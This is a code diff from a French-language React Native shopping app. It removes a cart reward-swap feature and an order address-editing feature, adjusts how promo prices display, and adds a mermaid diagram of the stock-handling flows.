priceRow: {
|
||||
flexDirection: "row",
|
||||
alignItems: "center",
|
||||
justifyContent: "center",
|
||||
gap: spacing.xs,
|
||||
},
|
||||
pickerPriceRow: {
|
||||
flexDirection: "row",
|
||||
alignItems: "center",
|
||||
gap: spacing.xs,
|
||||
},
|
||||
priceStrike: {
|
||||
fontSize: fontSize.md,
|
||||
textDecorationLine: "line-through",
|
||||
},
|
||||
quickAddSection: { padding: spacing.m, borderTopWidth: 1 },
|
||||
quickAddBtn: {
|
||||
width: "100%",
|
||||
|
||||
@@ -23,7 +23,6 @@ export interface CartItem {
|
||||
quantity: number;
|
||||
category: string;
|
||||
image?: string;
|
||||
is_reward?: boolean;
|
||||
}
|
||||
|
||||
interface ToastData {
|
||||
@@ -90,7 +89,6 @@ export function CartProvider({ children }: { children: ReactNode }) {
|
||||
quantity: item.quantity,
|
||||
category: (item.category || "autre").toLowerCase().trim(),
|
||||
image: item.image,
|
||||
is_reward: item.is_reward,
|
||||
}));
|
||||
setCartItems(items);
|
||||
} else {
|
||||
@@ -222,3 +220,5 @@ export function useCart() {
|
||||
if (!context) throw new Error("useCart must be used within a CartProvider");
|
||||
return context;
|
||||
}
|
||||
|
||||
//
|
||||
|
||||
@@ -12,12 +12,7 @@ import { useNavigation, useFocusEffect } from "@react-navigation/native";
|
||||
import type { NativeStackNavigationProp } from "@react-navigation/native-stack";
|
||||
import { Ionicons } from "@expo/vector-icons";
|
||||
import { useCart } from "../../context/CartContext";
|
||||
import {
|
||||
getProductById,
|
||||
getMyPointsRewards,
|
||||
swapMyRewardProduct,
|
||||
} from "../../api/api";
|
||||
import type { RewardItemConfig } from "../../api/api";
|
||||
import { getProductById } from "../../api/api";
|
||||
import type { ClientStackParamList } from "../../navigation/types";
|
||||
import LoadingSpinner from "../../components/ui/LoadingSpinner";
|
||||
import Button from "../../components/ui/Button";
|
||||
@@ -42,7 +37,6 @@ interface EnrichedItem {
|
||||
price: number;
|
||||
quantity: number;
|
||||
category: string;
|
||||
is_reward?: boolean;
|
||||
imageUri?: string;
|
||||
}
|
||||
|
||||
@@ -64,9 +58,6 @@ export default function CartScreen() {
|
||||
const [loadingMedia, setLoadingMedia] = useState(false);
|
||||
const [removeId, setRemoveId] = useState<number | null>(null);
|
||||
const [showClearModal, setShowClearModal] = useState(false);
|
||||
const [swapTarget, setSwapTarget] = useState<EnrichedItem | null>(null);
|
||||
const [swapChoices, setSwapChoices] = useState<RewardItemConfig[]>([]);
|
||||
const [swapLoading, setSwapLoading] = useState(false);
|
||||
|
||||
useFocusEffect(
|
||||
useCallback(() => {
|
||||
@@ -115,32 +106,6 @@ export default function CartScreen() {
|
||||
|
||||
const handleClear = () => setShowClearModal(true);
|
||||
|
||||
const handleOpenSwap = async (item: EnrichedItem) => {
|
||||
setSwapTarget(item);
|
||||
setSwapChoices([]);
|
||||
const res = await getMyPointsRewards();
|
||||
const pool = res.pools.find((p) =>
|
||||
p.eligible_reward_items.some(
|
||||
(it) => it.product_id === item.product_id,
|
||||
),
|
||||
);
|
||||
setSwapChoices(
|
||||
(pool?.eligible_reward_items || []).filter(
|
||||
(it) => it.product_id !== item.product_id,
|
||||
),
|
||||
);
|
||||
};
|
||||
|
||||
const handleSwapChoice = async (productId: number) => {
|
||||
setSwapLoading(true);
|
||||
const res = await swapMyRewardProduct(productId);
|
||||
setSwapLoading(false);
|
||||
if (res.success) {
|
||||
setSwapTarget(null);
|
||||
await refreshCart();
|
||||
}
|
||||
};
|
||||
|
||||
const confirmClear = () => {
|
||||
clearCart();
|
||||
setShowClearModal(false);
|
||||
@@ -245,43 +210,6 @@ export default function CartScreen() {
|
||||
removeBtn: {
|
||||
padding: spacing.m,
|
||||
},
|
||||
rewardBadge: {
|
||||
flexDirection: "row",
|
||||
alignItems: "center",
|
||||
alignSelf: "flex-start",
|
||||
gap: 4,
|
||||
marginTop: 2,
|
||||
paddingHorizontal: spacing.s,
|
||||
paddingVertical: 2,
|
||||
borderRadius: borderRadius.sm,
|
||||
backgroundColor: "rgba(245,158,11,0.12)",
|
||||
},
|
||||
rewardBadgeText: {
|
||||
fontSize: fontSize.xs,
|
||||
fontWeight: fontWeight.semibold,
|
||||
color: "#f59e0b",
|
||||
},
|
||||
itemActions: {
|
||||
alignItems: "center",
|
||||
},
|
||||
swapChoice: {
|
||||
flexDirection: "row",
|
||||
justifyContent: "space-between",
|
||||
alignItems: "center",
|
||||
padding: spacing.m,
|
||||
borderRadius: borderRadius.sm,
|
||||
backgroundColor: colors.bgInput,
|
||||
marginBottom: spacing.s,
|
||||
},
|
||||
swapChoiceText: {
|
||||
color: colors.textPrimary,
|
||||
fontSize: fontSize.sm,
|
||||
},
|
||||
swapEmptyText: {
|
||||
color: colors.textMuted,
|
||||
fontSize: fontSize.sm,
|
||||
textAlign: "center",
|
||||
},
|
||||
modalBody: {
|
||||
gap: spacing.l,
|
||||
},
|
||||
@@ -423,49 +351,17 @@ export default function CartScreen() {
|
||||
<Text style={styles.itemPrice}>
|
||||
{item.price.toFixed(2)} €
|
||||
</Text>
|
||||
{(item as EnrichedItem).is_reward && (
|
||||
<View style={styles.rewardBadge}>
|
||||
<Ionicons
|
||||
name="gift-outline"
|
||||
size={10}
|
||||
color="#f59e0b"
|
||||
/>
|
||||
<Text
|
||||
style={styles.rewardBadgeText}
|
||||
>
|
||||
Récompense
|
||||
</Text>
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
<View style={styles.itemActions}>
|
||||
{(item as EnrichedItem).is_reward && (
|
||||
<TouchableOpacity
|
||||
onPress={() =>
|
||||
handleOpenSwap(
|
||||
item as EnrichedItem,
|
||||
)
|
||||
}
|
||||
style={styles.removeBtn}
|
||||
>
|
||||
<Ionicons
|
||||
name="swap-horizontal-outline"
|
||||
size={20}
|
||||
color={colors.accent}
|
||||
/>
|
||||
</TouchableOpacity>
|
||||
)}
|
||||
<TouchableOpacity
|
||||
onPress={() => handleRemove(item.id)}
|
||||
style={styles.removeBtn}
|
||||
>
|
||||
<Ionicons
|
||||
name="trash-outline"
|
||||
size={20}
|
||||
color={colors.danger}
|
||||
/>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
<TouchableOpacity
|
||||
onPress={() => handleRemove(item.id)}
|
||||
style={styles.removeBtn}
|
||||
>
|
||||
<Ionicons
|
||||
name="trash-outline"
|
||||
size={20}
|
||||
color={colors.danger}
|
||||
/>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
)}
|
||||
/>
|
||||
@@ -567,43 +463,6 @@ export default function CartScreen() {
|
||||
</View>
|
||||
</View>
|
||||
</Modal>
|
||||
|
||||
<Modal
|
||||
visible={swapTarget !== null}
|
||||
onClose={() => setSwapTarget(null)}
|
||||
title="Choisir un autre produit"
|
||||
icon="swap-horizontal-outline"
|
||||
iconColor={colors.accent}
|
||||
>
|
||||
<View style={styles.modalBody}>
|
||||
{swapChoices.length === 0 ? (
|
||||
<Text style={styles.swapEmptyText}>
|
||||
Aucun autre produit disponible pour cette
|
||||
récompense.
|
||||
</Text>
|
||||
) : (
|
||||
swapChoices.map((choice) => (
|
||||
<TouchableOpacity
|
||||
key={choice.product_id}
|
||||
style={styles.swapChoice}
|
||||
disabled={swapLoading}
|
||||
onPress={() =>
|
||||
handleSwapChoice(choice.product_id)
|
||||
}
|
||||
>
|
||||
<Text style={styles.swapChoiceText}>
|
||||
{choice.product_name}
|
||||
</Text>
|
||||
<Text style={styles.swapChoiceText}>
|
||||
{choice.price === 0
|
||||
? "Offert"
|
||||
: `${choice.price.toFixed(2)} €`}
|
||||
</Text>
|
||||
</TouchableOpacity>
|
||||
))
|
||||
)}
|
||||
</View>
|
||||
</Modal>
|
||||
</View>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -17,7 +17,6 @@ import {
|
||||
confirmReception,
|
||||
cancelCommand,
|
||||
respondToAddressProposal,
|
||||
updateOwnCommandAddress,
|
||||
formatOrderDate,
|
||||
formatPrice,
|
||||
calculateOrderTotal,
|
||||
@@ -75,11 +74,6 @@ export default function OrderTrackingScreen() {
|
||||
useState<CancelCommandResponse | null>(null);
|
||||
const [penaltyOrderId, setPenaltyOrderId] = useState<number | null>(null);
|
||||
const [penaltiesEnabled, setPenaltiesEnabled] = useState(false);
|
||||
const [editingAddressId, setEditingAddressId] = useState<number | null>(
|
||||
null,
|
||||
);
|
||||
const [newAddress, setNewAddress] = useState("");
|
||||
const [editAddressLoading, setEditAddressLoading] = useState(false);
|
||||
const [toastMsg, setToastMsg] = useState("");
|
||||
const [toastType, setToastType] = useState<
|
||||
"success" | "error" | "warning" | "info"
|
||||
@@ -193,29 +187,6 @@ export default function OrderTrackingScreen() {
|
||||
}
|
||||
};
|
||||
|
||||
const handleUpdateAddress = async (orderId: number) => {
|
||||
if (!newAddress.trim()) return;
|
||||
setEditAddressLoading(true);
|
||||
try {
|
||||
const res = await updateOwnCommandAddress(
|
||||
orderId,
|
||||
newAddress.trim(),
|
||||
);
|
||||
if (res.success) {
|
||||
showToast("Adresse mise à jour", "success");
|
||||
setEditingAddressId(null);
|
||||
setNewAddress("");
|
||||
fetchOrders();
|
||||
} else {
|
||||
showToast(res.message || "Erreur", "error");
|
||||
}
|
||||
} catch {
|
||||
showToast("Erreur lors de la mise à jour de l'adresse", "error");
|
||||
} finally {
|
||||
setEditAddressLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
const styles = useMemo(
|
||||
() =>
|
||||
StyleSheet.create({
|
||||
@@ -436,10 +407,6 @@ export default function OrderTrackingScreen() {
|
||||
"assigned",
|
||||
"en_route",
|
||||
].includes(order.status);
|
||||
const canEditAddress = [
|
||||
"pending",
|
||||
"assigned",
|
||||
].includes(order.status);
|
||||
|
||||
return (
|
||||
<TouchableOpacity
|
||||
@@ -669,23 +636,6 @@ export default function OrderTrackingScreen() {
|
||||
size="sm"
|
||||
/>
|
||||
)}
|
||||
{canEditAddress && (
|
||||
<Button
|
||||
title="Modifier l'adresse"
|
||||
onPress={() => {
|
||||
setNewAddress(
|
||||
order.delivery_address ||
|
||||
order.adresse ||
|
||||
"",
|
||||
);
|
||||
setEditingAddressId(
|
||||
order.id,
|
||||
);
|
||||
}}
|
||||
variant="outline"
|
||||
size="sm"
|
||||
/>
|
||||
)}
|
||||
{canCancel && (
|
||||
<Button
|
||||
title="Annuler"
|
||||
@@ -739,52 +689,6 @@ export default function OrderTrackingScreen() {
|
||||
</View>
|
||||
</Modal>
|
||||
|
||||
<Modal
|
||||
visible={editingAddressId !== null}
|
||||
onClose={() => {
|
||||
setEditingAddressId(null);
|
||||
setNewAddress("");
|
||||
}}
|
||||
title="Modifier l'adresse de livraison"
|
||||
icon="location-outline"
|
||||
iconColor={colors.accent}
|
||||
>
|
||||
<View style={styles.modalBody}>
|
||||
<Text style={styles.modalText}>
|
||||
Nouvelle adresse de livraison :
|
||||
</Text>
|
||||
<RNTextInput
|
||||
style={styles.cancelInput}
|
||||
placeholder="Adresse complète"
|
||||
placeholderTextColor={colors.textMuted}
|
||||
value={newAddress}
|
||||
onChangeText={setNewAddress}
|
||||
multiline
|
||||
/>
|
||||
<View style={styles.modalActions}>
|
||||
<Button
|
||||
title="Retour"
|
||||
onPress={() => {
|
||||
setEditingAddressId(null);
|
||||
setNewAddress("");
|
||||
}}
|
||||
variant="outline"
|
||||
size="md"
|
||||
/>
|
||||
<Button
|
||||
title="Enregistrer"
|
||||
onPress={() =>
|
||||
editingAddressId &&
|
||||
handleUpdateAddress(editingAddressId)
|
||||
}
|
||||
loading={editAddressLoading}
|
||||
variant="success"
|
||||
size="md"
|
||||
/>
|
||||
</View>
|
||||
</View>
|
||||
</Modal>
|
||||
|
||||
<Modal
|
||||
visible={cancellingId !== null}
|
||||
onClose={() => {
|
||||
|
||||
@@ -621,10 +621,11 @@ export default function ProductDetailScreen() {
|
||||
hasPromo && { color: "#22c55e" },
|
||||
]}
|
||||
>
|
||||
{selectedPrice.toFixed(2)} €
|
||||
{!hasPromo &&
|
||||
selectedGrams &&
|
||||
` pour ${selectedGrams}${product.unit || "g"}`}
|
||||
{selectedPrice.toFixed(2)} €{" "}
|
||||
{selectedGrams &&
|
||||
`pour ${selectedGrams}${product.unit || "g"}`}
|
||||
{hasPromo &&
|
||||
` (-${selectedTier!.promo_percent}%)`}
|
||||
</Text>
|
||||
</View>
|
||||
);
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
```mermaid
|
||||
graph TD
|
||||
A[Client ajoute au panier] -->|Décrémente stock| B[Stock -= quantité]
|
||||
B --> C[Ajout au panier]
|
||||
C -->|❌ Si échec| D[Stock déjà décrémenté!]
|
||||
|
||||
E[Client supprime du panier] -->|Transaction DB| F[Stock += quantité]
|
||||
F --> G[Suppression du panier]
|
||||
|
||||
H[Client valide commande] --> I[Panier vidé]
|
||||
I -->|Sans restaurer stock| J[Commande créée]
|
||||
|
||||
K[Client annule commande] -->|Transaction DB| L[Stock += quantité]
|
||||
L --> M[Commande annulée]
|
||||
|
||||
N[Paiement crypto échoue] -->|Transaction DB| O[Stock += quantité]
|
||||
```
|
||||
Reference in New Issue
Block a user